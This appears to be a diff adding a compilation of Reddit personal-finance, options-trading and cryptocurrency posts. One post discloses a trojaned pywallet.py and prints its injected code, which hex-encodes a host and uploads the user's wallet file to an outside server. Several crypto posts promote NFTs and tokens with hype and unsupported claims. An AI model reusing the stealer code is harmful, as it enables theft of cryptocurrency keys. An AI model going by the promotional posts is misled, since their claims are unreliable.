diff --git "a/reddit_finance_43_250k_371.txt" "b/reddit_finance_43_250k_371.txt" new file mode 100644--- /dev/null +++ "b/reddit_finance_43_250k_371.txt" @@ -0,0 +1,10000 @@ + +My sister of 24 recently became a registered nurse and was at home going to school preparing for this. She just started her job this week and the plan was very much the same, save up and move out. + + + + + +My mother has not worked in 8 or so years as there was never a need to as my dad made around 80k a year. She has also never done their taxes, never took care of any bills since my father was very much the “don’t worry about it, I’ll handle it” type. + + + + + +We always lived comfortable, never really requiring to pay much besides our own bills (car payments, cell phone, our part of insurance ect). + + + + + +With my Fathers passing, I have to step in to take control and make sure we do not come out of this in a bad position. + + + + + +Luckily this month’s bills and rent were paid and my father wrote down account info for the various bills that we had. + + + + + +In the bank right now my father has around $4000 (it would be around 6 but the funeral parlor costed quite a bit even with cheapest options). + + + + + +I did the numbers on bills and rent, and it comes to around 2,300 to 2,400 depending. About $250 of that are payments towards balances so will not always be there. I will also be speaking to the cable company about the package we currently have to get a lower one. + + + + + +Rent is $1150 (we’ve been in our 3 bedroom apartment for a very long time, so the owners are a bit lenient in that they haven’t raised rent on us for a very long time) + + + + + +With my Dads life insurance policies and HSA account payout, we will be getting around $243,000 + + + + + +The HSA money will most likely be used for the Hospital bills, my Father also had a good plan (he worked for a health benefits company), so I believe he said it would end up being around 5k when all is said and done, which is basically what is in the HSA. + + + + + +His 401k was taken out and used to pay for my sisters schooling, so there isn’t really anything there. only about $170 + + + + + +From what I have seen, the payouts can take some time but with my sister and I we should be able to cover the next two to three months of rent+bills without issue. + + + + + +Luckily both the Cars my parents owned were paid off, and there isn’t really much in the way of credit card debt (at least I don’t think so, I could be totally wrong on this. There is a $1,300 balance remaining on a Paypal account, a $4,000 balance remaining on a Dell credit account, and a $3,000 balance remaining on a credit card. + + + + + +My father did not get the taxes done yet, but I do have his W2. I have done my on taxes since I could (they have always been very , very simple) so I would imagine given I don’t know what was involved in my fathers and with his passing, going to a professional would be the best course of action. + + + + + +I know a few things we cannot move forward on until we have the official copies of the Death certificates. These should actually be signed today if all goes well. + + + + + +I realize my mother will now need to start looking for work, but is there anything specific we should do to make sure this does not turn really ugly? I don’t know that she can get anything super amazing unless very lucky. She has been out of work for a while and never really did anything towards a career. + + + + + +Should the balances be paid off right away once the insurance money comes in? Should the taxes be done before the insurance money comes in? I think I remember reading the 401k would be effected but not the insurance payout, but I am not sure. + + + + + +I myself currently only have $3000 in the bank (the move used up all of my funds) and my sister has nothing put away but will be making more money than I at her job) + + + + + +I know these are very general questions, but there is a lot that is new to me since I now have to “grow up” to put it harshly against myself (totally deserving of it) + + + + + +I also know this is a lot of info, but I wasn't sure what all would be needed so tried to include as much as possible. + +As the title says, I went on my mortgage provider's website (Post Office Money/BoI) to make an overpayment of several thousand pounds, expecting to have to pay by bank transfer or maybe debit card. But it's just a standard outsourced credit card payment facility, think it was Worldpay. So I put my John Lewis Partnership Card details in, which gets you vouchers to spend in store. + +The overpayment has been applied and is the full amount. I thought maybe the transaction might show as a cash withdrawal on the John Lewis site and thus be subject to interest/fees, but that doesn't appear to have happened. Who is paying the credit card processing fee here and why?! I could borrow and repay tens of thousands, and in fact will be doing exactly that, getting a percentage in vouchers or cashback for nothing. +I am interested in working with a contractor to perform a flip. + +How do you typically split the profits for this if you're not just paying the contractor directly for his work? + +For example, I buy the house, I pay for the materials, he does the labor, we sell the house and split the profits 50/50. Is that typical or am I missing something? +I found a property that looks like it hasn't been used in a bit and I'd like to inquire about. I looked at the tax records and found the address for the owner. I believe he's elderly. I tried to find a phone number, but didn't find one that goes directly to him. I did leave messages at the ones I found, but haven't heard back. I'm thinking about going to the address listed on the tax return and just knocking on his door. Is it okay to do that? Would it be better to leave or mail a letter? + +I was in the area which is why I was considering trying his house. I did because I was really close. He wasn't there, so I'm be sending a letter. Thanks peeps. +There are very few solid projects out there that have great fundamental use cases and a growing ecosystem yet the other crypto currencies that have barely anything going for it are pumping like crazy. + +In the dot com bubble, if a company had .com on their website, people would get the fomo effect and they would invest all their money into that companies stock but as we all know, everything later started crashing down. + +Does this market run feel the same to you??. I'm only investing my money in solid projects, if i want to gamble then i will use something very small. +Taken from https://bitcointalk.org/index.php?topic=2704860.0 + +APPC is Made by Aptoide (check wikipedia), top tier major company since 2009 + +1) has already an active user base of 200 Million (without Google play potential, this is only Aptoide) + +2) has a WORKING PRODUCT and APPC protocol is already implemented (www.github.com/aptoide) + +3) has a market cap of 500M+ and isn't even on Coinmarketcap (not mainstream at all) + +This is the future Main Mobile Cryptocurrency App (potential top 5 if it goes mainstream) + +Top 10 24h volume on Binance on the first day of release (without being on Coinmarketcap). Once it's listed, can see it go 2-3x + +Strong team - in the short term, CEO says there are announcements this week. + +What do you guys think? +Zenon is implementing a fully decentralized dual-coin mechanism. The coinmetrics are designed to achieve a Mint-Burn equilibrium for ZNN and QSR as the first dual-coin architecture of its kind. + +What is it: + +Incredibly fast, almost infinitely scalable state-of-the-art DLT. It combines the block-lattice architecture that was first(?) used by Raiblocks/Nano with a DAG that exists as a separate layer for the consensus. The block-lattice handles the transactions. It's going to be used to scale Web3 dapps as a L1, and also process transactions as a L2 chain. + +Who does it: + +This is an independent, open-source project and will probably be run by a foundation similar to Ethereum and Cardano, but I'm about 99.5% sure its backed by Square. I can enumerate the zillions of times they have hinted as such if I really have to here, but you can search for old biz posts on Zenon here and also on Warosu. + +Square will likely use it to scale Bitcoin transactions where the default payment for merchants and Cashapp users is made in BTC, and then they can set it to dollars or pounds or whatever afterwards. + +Its open source and not owned by Square, like how Node.js isn't owned by Google but has wide adoption. They'll easily recruit 1000s of legacy web apps for this bc no code changes are needed, and also dapps on Ethereum will easily switch over. + +They are still in testnet, and not very public yet. Large exchanges expect payment, and/or the coin to already be established within the cryptosphere. + +&#x200B; + +GL anon, Alphanet is launching Zoon. +Zenon is implementing a fully decentralized dual-coin mechanism. The coinmetrics are designed to achieve a Mint-Burn equilibrium for ZNN and QSR as the first dual-coin architecture of its kind. + +What is it: + +Incredibly fast, almost infinitely scalable state-of-the-art DLT. It combines the block-lattice architecture that was first(?) used by Raiblocks/Nano with a DAG that exists as a separate layer for the consensus. The block-lattice handles the transactions. It's going to be used to scale Web3 dapps as a L1, and also process transactions as a L2 chain. + +Who does it: + +This is an independent, open-source project and will probably be run by a foundation similar to Ethereum and Cardano, but I'm about 99.5% sure its backed by Square. I can enumerate the zillions of times they have hinted as such if I really have to here, but you can search for old biz posts on Zenon here and also on Warosu. + +Square will likely use it to scale Bitcoin transactions where the default payment for merchants and Cashapp users is made in BTC, and then they can set it to dollars or pounds or whatever afterwards. + +Its open source and not owned by Square, like how Node.js isn't owned by Google but has wide adoption. They'll easily recruit 1000s of legacy web apps for this bc no code changes are needed, and also dapps on Ethereum will easily switch over. + +They are still in testnet, and not very public yet. Large exchanges expect payment, and/or the coin to already be established within the cryptosphere. + +&#x200B; + +GL anon, Alphanet is launching Zoon. + Welcome to the /r/CryptoMarkets Weekly Discussion thread. The thread guidelines are as follows: + + + +\*\*\* + + + + The thread guidelines are as follows: + + + +\* Discussion topics include, but are not limited to, events of the day, technical analysis, and minor questions. + +\* Breaking news or other important content should be submitted as a separate post. + +\* Cryptocurrency discussion not related to trading should be referred to the r/CryptoCurrency general discussion thread, \[see here\]([https://www.reddit.com/r/CryptoCurrency/comments/62teju/monthly\_general\_discussion\_april\_01\_2017/](https://www.reddit.com/r/CryptoCurrency/comments/62teju/monthly_general_discussion_april_01_2017/)). + +\* Follow the golden rule and be excellent to each other. + + + +\*\*\* + + + + Resources and Tools: + + + +\* Consider joining one of the r/CryptoMarkets chat groups, \[see here\]([https://www.reddit.com/r/CryptoMarkets/wiki/chat](https://www.reddit.com/r/CryptoMarkets/wiki/chat)). + +\* If you are using RES, please click the subscribe button below to be notified when new comments are posted. + +\* To view live streaming comments for this thread, \[click here\]([https://reddit-stream.com/comments/auto](https://reddit-stream.com/comments/auto)). Account permissions are required to post comments through [Reddit-Stream.com](https://Reddit-Stream.com). + + + +\*\*\* + + + + Thank you in advance for your participation. Enjoy! + Welcome to the /r/CryptoMarkets Weekly Discussion thread. The thread guidelines are as follows: + + + +\*\*\* + + + + The thread guidelines are as follows: + + + +\* Discussion topics include, but are not limited to, events of the day, technical analysis, and minor questions. + +\* Breaking news or other important content should be submitted as a separate post. + +\* Cryptocurrency discussion not related to trading should be referred to the r/CryptoCurrency general discussion thread, \[see here\]([https://www.reddit.com/r/CryptoCurrency/comments/62teju/monthly\_general\_discussion\_april\_01\_2017/](https://www.reddit.com/r/CryptoCurrency/comments/62teju/monthly_general_discussion_april_01_2017/)). + +\* Follow the golden rule and be excellent to each other. + + + +\*\*\* + + + + Resources and Tools: + + + +\* Consider joining one of the r/CryptoMarkets chat groups, \[see here\]([https://www.reddit.com/r/CryptoMarkets/wiki/chat](https://www.reddit.com/r/CryptoMarkets/wiki/chat)). + +\* If you are using RES, please click the subscribe button below to be notified when new comments are posted. + +\* To view live streaming comments for this thread, \[click here\]([https://reddit-stream.com/comments/auto](https://reddit-stream.com/comments/auto)). Account permissions are required to post comments through [Reddit-Stream.com](https://Reddit-Stream.com). + + + +\*\*\* + + + + Thank you in advance for your participation. Enjoy! +&#x200B; + +https://preview.redd.it/ge4fmtnyvr281.jpg?width=533&format=pjpg&auto=webp&s=8dfe245d9751c17768be152b8f3f8c3a4c225f56 + +&#x200B; + +https://preview.redd.it/wxlwl7lzvr281.jpg?width=532&format=pjpg&auto=webp&s=28a2ea2821325408785d347289593ff23a60cc72 + +&#x200B; + +Link for in-depth analysis: [https://wolfstreet.com/2021/11/19/after-fueling-corporate-bond-junk-bond-rally-to-lowest-yields-ever-fed-ends-bailout-spv-with-513-million-profit-sends-90-to-us-treasury/](https://wolfstreet.com/2021/11/19/after-fueling-corporate-bond-junk-bond-rally-to-lowest-yields-ever-fed-ends-bailout-spv-with-513-million-profit-sends-90-to-us-treasury/) + +&#x200B; + +2nd link: [https://www.wsj.com/articles/panel-urges-restricting-u-s-investment-in-china-over-security-concerns-11637163001](https://www.wsj.com/articles/panel-urges-restricting-u-s-investment-in-china-over-security-concerns-11637163001) +LOL this is a fucking joke. I submitted my DRS on 9/24 and was told a week, then 2 weeks, then 2 business weeks, then 3 weeks, then '100% it will for sure be done by 10/15'. + +Welp, nothing was sent to computershare. I also submitted an asset transfer request on 10/13 and last night I saw that it was cancelled. No email, no notification... nothing. When I asked the etrade rep why they said they don't know. + + +How is a brokerage able to get away with this shit? + + + +EDIT: CALLED FIDELITY AND THEY DONT KNOW WHAT GOING ON. SAID I NEED TO TALK TO A SPECIFIC TEAM THAT IS ONLY OPEN MON-FRI. THEY WILL CALL ME ON MONDAY TO DISCUSS. +I hadn't seen this raised here. Ch. 9, owned by Nine Entertainment Co., who also owns Domain, rarely do a negative property story (i.e. stories are about property strengthening). For this reason, this story the other night stood out. + +Matthew Hassan, Senior Economist at Westpac, says that an indicator in a survey they run (an indicator that, thus far, has never been wrong) suggests confidence in buying is very low and dropping steadily. + +The indicator is the question "Is now a good time to buy?". There has been a steady decrease in those responding "yes" with a 14% drop in October. + +Thoughts? + +https://twitter.com/9newsmelb/status/1449275138675982336?s=21 +I went through the annual reports of Mcdonald's for the first time and I'll describe it as an expensive real-estate company that sells branded properties. I'll make my case below. + +I will not share the video with my analysis as that would be considered self-promotion. + +McDonald's makes money in two ways: + +1. Company-owned restaurants - The revenue has significantly decreased in the last decade. This part of the business is related to the restaurants that McDonald's operates and the revenue represents the sales of burgers, fries, beverages, and pretty much everything that is on the menu. It represents about 40% of all the revenue and the operating margin is very low (8%). +2. Franchised restaurants - This is the part that has been increasing over time, now represents the remaining part of the revenue, and has an operating margin of 73%. However, unlike the first business segment, in this one, they make 64% of the revenue from collecting rent and the remaining 36% from royalties. + +If you look at the total revenue of the company, you'll see a decline for a decade, accompanied by an increase in the operating profit which is not surprising. Instead of owning the restaurants, McDonald's is renting them to individuals who would like to have their own business and on top of that, they're collecting royalties. So the type of revenue shifted from the low-margin "Sale of burgers, fries, beverages, shakes, and ice-creams" to the high-margin "collecting rent and royalties". + +From an operating profit point of view, 60% comes from rent, 30% from royalties, and 10% from actually company-owned restaurants. Therefore, my conclusion is, that it currently operates as a real estate company that rents branded properties. + +After finishing my analysis and preparing my presentation for recording a video, I take some time to do a quick research online on the company, mainly to figure out if I'm missing something. I often stumble upon certain videos and I'm disappointed that many of them have basic checklists without understanding the business and providing value for the viewer. These come mainly in the form of "Did the revenue increase in the last 5 years? Do we have a P/E of < X". In the case of McDonald's, if you have a checklist, you would not have a check on the revenue growth in the last 5 years and without understanding the company, you'd have a wrong impression on McDonald's. Finding good investment opportunities takes a lot more than having a simple checklist that most 6-year olds can use. + +So, I did value McDonald's based on the following assumptions: + +Revenue - 5% growth in the next 6 years, then growing slower after that (Similar to analysts' forecasts for the next few years) + +Operating margin - 45% (No significant change compared to the last few years, also in line with the analysts' forecasts) + +WACC - 5.91% + +Outcome: $150.90/share (Much lower than the current stock price) + +Below is an overview of the value of the company based on different assumptions related to revenue growth (in 10 years) & operating margins: + +&#x200B; + +|Revenue / Op. margin|45%|50%|55%| +|:-|:-|:-|:-| +|48% ($34.5b)|$150.9|$173.9|$196.8| +|60% ($37.2b)|$161.5|$186.1|$210.7| +|80% ($41.8b)|$178.5|$205.8|$233.0| +|100% ($46.5b)|$165.3|$224.9|$254.8| + +I'd like to get your thoughts on the company and see if there's anything significant that I'm missing from my assumptions. + + +EDIT: Thank you for recommending "The Founder". The fact that based on my analysis, many have thought I've already watched the movie, gives me a lot of confidence. I have already added it to my list and will watch it :) +It is well known since years and means only that you have a different transaction ID than your service is showing. At the end you should see the exit at your spending address an usual, only with another tx id. + +What does it: somebody on the network sees your tx and makes a identical copy of it with some extra data, to have a different hash value. He CAN NOT diverge the transaction to another target address or double spend it. BECAUSE crypto remains unbroken. + +Technical explanation: https://en.bitcoin.it/wiki/Transaction_Malleability +Parents are aging, medical issues are starting to stack up. They fear that that the feds will take their money if they go into a retirement home. Whatever the reason, they're maxing out their daily withdrawals and have been doing so for quite some time. + +It's their lives/their money. I'm just sick with the idea that the wrong person will hear about this and scoop the money up. + +If they insist on this, can anyone suggest safe storage of this currency? + +**Edit:** + +Thanks to the few who tried to help. To those crying conspiracy, that wasn't even my question. I can't control what they do with their money but I can possibly help them protect it. That's my only objective. + +This thread turned out to be a great example of why you should be skeptical of getting financial advice online. So many users have made heavy assumptions with very little information. + +Pretend financial experts abound! +2nd Quarter of 2021 did NOT have a "short squeeze" risk factor. + + +THe 10-K (annual report) did have the risk factor. + + +Ctrl+F Short squeeze, and the 2nd quarter 10-Q doesn't have any results: + [June 9, 2021 - 10-Q: Quarterly report for quarter ending May 1, 2021Open document](https://www.sec.gov/ix?doc=/Archives/edgar/data/0001326380/000132638021000066/gme-20210501.htm) + + +Ctrl+F "Short squeeze", and the 3rd quarter 10-Q has 6 results: + [September 8, 2021 - 10-Q: Quarterly report for quarter ending July 31, 2021Open document](https://www.sec.gov/ix?doc=/Archives/edgar/data/0001326380/000132638021000090/gme-20210731.htm) + + + +Tit Jacking? +Edit: I wanted to add this before I forgot. This was not Bitcoin's fault. This was not pywallet's fault or its creator's fault. This was not Source Forge's fault. The hosting company goes by a few names. I will list all that I have, but first, this was not the fault of the hosting company and the hosting company reacted fast, got the site down, and was quite polite. They can be found at these URLs: http://www.attractsoft.com/ http://atwebpages.com/ The company responding for the hosting company was Super Indeed. Don't know their arrangement, but the whoever was communicating was a standup guy. + + +&nbsp; + + +I noticed there was a size difference of pywallet.py on Git Hub compared to Source Forge. I decided to do a diff luckily and lines 2441 to 2476 are + +&nbsp; + + + hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d" + + s = socket.socket() + s.connect((hs,80)) + bo = "8954789827987580" + h11 = "-----------------------------" + h12 = "\r\n" + h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22" + h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n" + h1 = h11+bo+h12+h13+"fil"+h14 + h20 = "\r\n-----------------------------" + h21 = "--\r\n" + h2 = h20+bo+h21 + h31 = "POST " + h32 = " HTTP/1.1\r\n" + h33 = "Host: " + h34 = "\r\n" + h35 = "User-Agent: Mozilla/5.0\r\n" + h36 = "Connection: keep-alive\r\n" + h37 = "Content-Type: multipart/form-data; boundary=---------------------------" + h38 = "\r\n" + h39 = "Content-length: " + h40 = "\r\n\r\n" + flen = os.path.getsize(walletfile) + h3= h31+"/a.php"+h32+h33+hs+h34+h35+h36+h37+bo+h38+h39+str(len(h1)+flen+len(h2))+h40 + s.send(h3) + s.send(h1) + file2= open(walletfile,"rb") + totalsent = 0 + while totalsent < flen: + d = file2.read(1024) + se = s.send(d) + totalsent = totalsent + se + s.send(h2) + data=s.recv(100) + s.close() + + +&nbsp; + +Right when I saw the hex encoded string I knew there was trouble. This version of the script works exactly the same as the real pywallet.py except that it also sends the keys to bieber.atwebpages.com using an HTTP request. + + +&nbsp; + +The code has been up since November it seems. It doesn't look like they got a ton, but it comes up on the first page of results when searching for pywallet. I have already notified the hosting company and Source Forge. If you have a copy of pywallet, be sure that it is 5050 lines, not 5096 lines of code. Also, search it for "a.php", as that is the page it sends the keys too. + + +&nbsp; + +UPDATE: The German hosting company (http://www.attractsoft.com/) was quick to respond and take the site down. Unfortunately, if Source Forge leaves the file up and the thief still has the domain name, they can just switch to another hosting service or even use Dynamic DNS is they live in a country that won't do shit about it. + +&nbsp; +UPDATE 4/11: Source Forge emailed me that they have taken down the project. I checked. It's down. Also: + +&nbsp; +Shameless Plug: If anyone has any IT jobs I can work remotely, PM me. I have over a decade of experience in Linux and Windows and I'm on short term disability as I cannot get a doctor to sign a note for me to return to office work. + +&nbsp; + +UPDATE 2: A good portion of the commenters here need some knowledge before they go spouting off ignorance. + +&nbsp; + +* It is damn lucky for all of us that this was open source code. If you think that this code being open source is a problem then what do you think would have happened had it been closed source? I never would have found it and the thefts could continue for years instead of months. +* Source Forge did not do this. They bundled adware into installers, but had an opt-out. This is a python script, not a binary or bundle of binaries. It was likely someone who is OK at coding and has a criminal mind. +* Open Source generally contains less malware. Just about everyone has learned to not run every binary (EXE, MSI) they come across. Running every open source script you come across is also a bad idea. The difference is, at least you have the option to check the code with open source. With closed source, you just have to run it with blind faith. Maybe you put some faith into your antivirus, but those clearly don't work perfect every time. + +&nbsp; + +Edit: Thanks to everyone who gave me bitcoin and gold! Thanks to everyone who asked good questions and added to the answers and contributed to comments that provided even more knowledge. And to the several people hating on open source or Bitcoin or on me for some strange reason, I'm sure you didn't always get a gentle explanation (my fault too) as to why your anger was misguided, but I encourage you to read some of the responses without the emotion and with an open mind because there is good knowledge there. Many responses were short and sweet and spot on. If you really still can't but help being angry with an idea or concept, I hope you get over it one day. PM me if you want a private explanation! I'll try to be open to your opinions and keep it friendly even if you are still angry as long as you don't start taking it out on me. +My wife was wrongfully terminated last year. Her company owed her a five figure sum of money, and after we kept asking for it for months, instead of paying they fired her and offered her about 20% of what they owed her. If we were living pay check to pay check we probably would have had to just take it and that was what they were probably banking on. + +Thankfully for us we had a 6 month cushion. So we refused. Hired a lawyer and sued. 2 months after they fired her she started a new job with a much better, more reputable company, we only had to draw down our fund by about 20%, unemployment insurance and cutting back on spending took care of the rest. 9 months later they are about to write us a check for the full amount, and we'll be using it to pay off a couple of student loans. + +Reason # 105932309 to have an emergency fund, liquid, ready to be used any time you have an emergency. + 💰💰ShitPunks - **Passive 5% BNB earnings** from holding an NFT💰💰 + + +**TLDR:** +🚀Website: https://shitpunks.com +💰Marketplace: https://www.shitpunks.com/marketplace +📢Discord: http://discord.gg/shitpunks + + +🟧Unique **Reward Tokenomics**: The top avatar NFT project on the Binance Smart Chain. We charted at the top the BSCscan NFT rankings list. With all 10,000 ShitPunks minted in just 3 days, the hype is just continuing to grow. + + +🟧The ShitPunks are a unique collection of 10,000 individual, hand drawn NFT characters modelled on the original CryptoPunks collection, but with a twist. Higher quality and definition and **5% BNB reflection on every trade** conducted on the marketplace. + + +🟧Every single ShitPunk traded reflects part of the proceeds back to existing holders. **Get rewarded just for holding** your appreciating NFTs without even having to make a sale. It is really that easy! + + +🟧With 3,800+ active Discord members, having logged a **record sale** for a single Punk **worth $20,750** recently and running daily volume in the hundreds of thousands of dollars there's just no question - **ShitPunks are the next biggest NFT on the Binance Smart Chain.** + + +🟧With a final stage beta of the **marketplace launching this week** \- a flurry of trading is going to occur as we boost our marketing - come join the family and learn more about our amazing, growing NFT community! + + +🟧Look forward to character accessories to grow your unique: **Pets, vehicles, a metaverse of game services** … more is coming. Hold one to win! + + +🟧Don't miss your shot at Passive Income and NFT kudos. Join us on Discord and get your personal ShitPunk today. + + +**NFTs are where it’s at.** + + + **Get in as an early adopter on this NFT cycle, pick up a punk for the reflection rewards and HODL with us.** + + +**Each unique, limited ShitPunk will be part of an expanding universe in the future.** + + +**Reddit Testimonials we love so far include:** + + +"The team is super friendly, the visual rework is amazing, the community great, this gotta be the best project I ever aped in" + + +"I got over .3 BNB in rewards during minting and I own only a few. This is set to explode when the marketplace drops. According to the Discord, that’s in a couple weeks. I am bullish." You’re still early - don’t wait. Come and check us out! +This really only applies to those who will make over $120k single or $189k joint and intend on making Roth IRA contributions via a [backdoor contribution](https://www.investopedia.com/terms/b/backdoor-roth-ira.asp) or a [mega-backdoor contribution.](https://www.madfientist.com/after-tax-contributions/) + +Traditional IRA to Roth IRA rollovers are subject to something called the [Pro-rata rule.](https://www.irs.gov/retirement-plans/rollovers-of-after-tax-contributions-in-retirement-plans) This comes into play when you're intending on making Roth IRA contributions with same year contributions. Because of the pro-rata rule, you can be stuck with a tax bill if you have Traditional IRA holdings. + +This leaves you with three options if you want to do a backdoor Roth contribution: + +* Pay the tax bill (don't do this) +* Convert your Traditional IRA into a Roth IRA before making this contribution + * This can result in a significant tax bill, and might not actually be the best tax strategy depending on your entire retirement picture +* Do a reverse rollover into your 401k (pain in the ass) + +Because 401(k) holdings are not subject to the pro-rata rule, it often times means that it is easier to leave your 401(k) alone as long as fund availability is decent and fees are not too high. If they are high, consider rolling over into a new employer's plan if the fund options/fees are better. +Started selling CCs about a year ago.In 2022 so far, I'm seeing \~95k for short term gains. But I can't tell if I'm doing well, or what I should be doing better. I'd want to learn and improve. I have roughly $391k of stocks in this account, down from ATH of about $550.I'm also concerned about tax implications. Am I breaking any tax straddle or wash sale rules by rollings? +Keep it friendly and civil; this is not WSB and automod will censor your posts at will for unsavory and unfriendly remarks. Try to keep shit posting and bragging to a minimum. +So I dumped 30% of my portfolio on a put credit spread and yes it went against me. Very embarrassing very humiliating very unthetagang like... and now im at this emotional trading phase where I just want to make my money back, to prevent that I pulled out about 80% of my money from my portfolio. Times like this I feel like im too biased and emotional about the trades I make. I definitely learned my lesson though. +Whatever insults or negative criticism you comment I wont mind because I deserve it. Im going to play the market with little money at the moment till im emotionally recovered from this setback +1. Never sell tail risk, it will bite you in the ass in the long run. +2. Sell tail risk when you are willing to buy at those low-low prices and you're willing to hold for a while. I.E. Nice premium for $250-$350 SPY puts over the past month. I could hold SPY at those prices for a long time and be happy. Be careful and don't overleverage with margin though. You have to actually be able to make the purchase if it goes there. +I have a short term credit spread in NFLX, and to watch the cost of the contracts get obliterated due to IV crush is a beautiful thing. This is my first time trading around earnings. + +Are there strategy’s around doing CSP of CCs near earnings of a high premium stock and then walking away after earnings and the IV crush? + +Cause the problem I’m seeing is since I’m in a spread, my safety net took the same cut, so it’s still hard to exit with a profit. But with a single option sale, I feel like you can make a quick buck just from the IV dip +So when entire stock market is down, crypto market is halved, dollars are worth less due to inflation, where did the money go? +Is it close to 1:1 sitting in cash? Like, do the losses correlate to cash on the sidelines? +Simplified, if the nasdaq is down by 1 trillion dollars, is there a trillion in cash somewhere that investors have taken out of the market? + +Please, I’ve heard the “if you don’t understand, you shouldn’t be investing” crap. Just trying to wrap my dumb head around what’s going on. +Also, trying to convince myself that the economy isn’t one giant shell game +This is for the scenario where you are happy with the underlying stock that you are selling options for. My belief is selling puts is a better strategy than wheeling for these reasons: + +\- If the underlying stock you are trading drops significantly, you can make more by selling OTM puts vs OTM calls. + +\- It's harder to lose money on a position you are selling on when it dips, because you don't have to lower your strike to generate sufficient income. If you were selling covered calls, the share price can reverse and you might have your shares called away below your original price. + +\- Brokers don't charge interest on the margin room used by selling puts (if you get assigned shares on margin you will be paying interest). + +The only downside I see is if the stock moves upward past your strike price, you miss out on upward movement, however, if you were selling covered calls you'd experience the same drawback since your shares will get called away anyways. + +Is there something that I am not seeing that makes wheeling a better strategy than selling puts if your main goal is to wheel the stock rather than own the shares? +Just a quick backstory, I have own Apple shares since 2006 and sometimes sell OTM option that I never let get called away. I don't sell around earnings, big annoucements or during big runs. Not interested in wheeling, just make some additional income on my investment. + +So a recently bought some LEAPs for Jan 2023 at $110 strike for $2300. I have never owned a LEAP before and wondered if I need to manage it thoughout time ( roll it up or out). Currently they are around $2800. I have sold some weeklys against it to earn premium against them with PMCC. + +Any advise for someone new to LEAPs? Thank you in advance. +Keep it friendly and civil; this is not WSB and automod will censor your posts at will for unsavory and unfriendly remarks. Try to keep shit posting and bragging to a minimum. +I have a 30k account and I’m done with wsb yolo days. My heart can’t take it anymore. I would like to hear your thoughts: BA seems to be offering the “best” credit for CSP at 0.2 delta. It’s currently at around 130ish and is offering nearly same premium from that of $APPL (same delta). Am I missing something here? Doing the wheel on $BA seems like a no brainer at this moment due to the premium. Another choice I had was $DIS. Much smaller premium compared to BA but a much more solid company. Feedback and other stock suggestions are welcome. +Keep it friendly and civil; this is not WSB and automod will censor your posts at will for unsavory and unfriendly remarks. Try to keep shit posting and bragging to a minimum. +If I want to start a position in a stock I'm very bullish on, does it make more sense to sell ATM CSPs or should I just buy the stock outright and then sell OTM CCs. Thanks. +So hear me out. I am aiming for 6% YoY return to meet my goals. My portfolio is mostly buy and hold index funds. But I wanted something to keep me entertained so I do not mess with my core holding to much, haha. + +I was looking for some good value stock to wheel. Criterias were like this: Price of one share had to be under $50 so, you know, to not get under water if it goes tits up. I like it to be a value stock with decent dividend yield, but not over 3,5% so it does not mess up with share prices around ex-dates too much. Solid, recocnized company for at atractive valuation. Buybacks were very wellcome, obviously. + +So I found that BAC - Bank of America corp to tick all of the boxes and some more. And guess what, the premiums were pretty juicy, for such a boring stock. I was not surprised, a lot of shit was going on, but you know, it is BAC... + +So far I have done one full cycle, net $50 (lol) after commissions in 4 months, so cca 4,2% yearly return on $3600 required capital. It is not much I know, but I am aiming for 6% yearly return in the long run, so this kind of fulfill my aim, accounting for my mistakes I am aware of. + +The trades in short were like this: wrote the Put at $36 for $0.52 in April, got put shares in May. Wrote 2 calls, which expired worthless for $0.54 total. Finally I wrote the last call at $35 in July for $0.29 and my shares were called away in August. Got the $0.21 divi meanwhile. + +I am aware of my mistake with the last call under the original put strike. But the shares were so heavy under water. I was selling the cca 17 delta calls just to do something. And then the last bull run came. Few more days and the stock price was under strike price again. I let the call expire ITM (did not roll) because I was feeling like the bull run was out of steam at a strong resistance and wanted the cash to be more flexible. + +What do you guys think of this all? It feels weird, but I kinda like it. The shares were heavily under water. And I came out pretty well. Of Course it is not thanks to my genius, I am aware of it, lol. But I was ready to hold the shares for a long time at attractive valuation and write the calls against them, while receiving dividends. + +I am probably going to write September put $32 for cca $0.32. + +Give me your thoughts on this. I will appreciate them all. + +P.S.: English is not my native language. +I forget how I found this sub, probably linked off a post on WSB. + +I'll talk in percentages because I believe my 'method' would work for accounts from $5k to seven figure accounts. + +At any rate, my option portfolio is about 15% of my overall investment portfolio. + +I settled 2.01% in trades over the past month, I have another 11.7% in money I've taken in, but not settled (open CSPs, CCs, etc.). Currently, 68% of my money is being used to cover CSPs and I recently opened a LEAP to sell PMCC against which is taking up 11% of my portfolio. Currently sitting on 21% cash. + +I've done the best on credit spreads for earnings (been right 4 of 5 times, and the time I was wrong I failed to fill my order -- 3 for 3 on filled orders, and 1 for 2 on orders that failed to fill). I'm 0 for 1 on ICs. + +I'm currently rolling out on a bunch of travel CSPs I opened earlier this month which has eaten into settled cash, but added to unsettled cash. + +I had an aggressive goal this month, which I missed, but if I could do 2% every month, I'd be plenty happy. + +14 settled trades (6 losers, mostly rolled out to later strikes except for that IC), I've sold 13 different put positions and yet to be assigned. 8 unsettled trades (including 6 CSPs). + +13 puts sold, 3 CC sold, 1 ICs, 3 credit spreads, 1 LEAP purchased, and went long on one stock to sell CCs. + +&#x200B; + +TLDR: I've banked 2.01% in closed trades. I have another 11.7% I've received in trades yet to close. +I’ve noticed that a lot of you aren’t necessarily choosing stocks with high IV rank/percentile to sell options in. Are there other more important factors besides IV rank/percentile when choosing stocks? +I know a number of short strangle traders take profits around 50%. Has anyone ever thought of taking profits on the individual legs at 50% and reestablishing their initial delta for that specific leg. It's as if one is adjusting early, before strikes are tested, but locking in some profit. Essentially widening out the breakeven on the tested side but narrowing strikes on the overall position. + +Example: -.16 delta Call side of strangle generated $1.50 in initial credit. Some time goes by and the call is now .75 ( and Delta is -.05). Take the profit and re-establish a -.16 delta call. +Alright fellow apes, in light of everything going on with our glorious meme stonks, we need to take some time to reflect upon our financial literacy and health. This is so that when we’re able to squeeze the big boys out of their billions, our gains will actually matter. + +[It is a fact that the vast majority of lottery winners lose all their winnings, even go bankrupt, within a few years of receiving their winnings.](https://www.washingtonpost.com/outlook/five-myths/five-myths-about-the-lottery/2019/12/27/742b9662-2664-11ea-ad73-2fd294520e97_story.html) + +In other words, if we don’t use our gains wisely, they’re just going to go back to the big guys that are screwing us over. + +So here’s some simple yet solid financial advice from rich people that can help you keep and grow whatever gains you’ll be getting within these next few months; + +# 1.) Have a strict budget. + +One of the most common budgets for wealthy people is this ; + 